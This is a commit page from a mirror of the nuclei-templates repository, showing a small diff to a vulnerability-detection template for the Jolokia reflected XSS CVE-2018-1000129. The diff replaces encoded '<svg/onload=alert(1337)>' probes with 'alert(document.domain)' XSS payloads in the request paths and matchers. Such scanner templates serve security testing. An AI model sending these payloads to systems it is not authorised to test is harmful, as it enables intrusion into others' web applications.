daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #353 from flag007/patch-3 

Update CVE-2018-1000129.yaml
patch-1
bauthard 2020-08-30 10:03:58 +05:30 committed by GitHub
parent efaecb5df5 3ff2f585c5
commit 3558952c03
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 4 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
cves/CVE-2018-1000129.yaml
View File

@ -9,9 +9,9 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
- "{{BaseURL}}/api/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
- "{{BaseURL}}:8080/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
- "{{BaseURL}}/jolokia/read<svg/onload=alert(document.domain)>?mimeType=text/html"
- "{{BaseURL}}/api/jolokia/read<svg/onload=alert(document.domain)>?mimeType=text/html"
- "{{BaseURL}}:8080/jolokia/read<svg/onload=alert(document.domain)>?mimeType=text/html"
matchers-condition: and
matchers:
- type: status
@ -19,5 +19,5 @@ requests:
- 200
- type: word
words:
- "<svg/onload=alert(1337)>"
- "<svg/onload=alert(document.domain)>"
part: body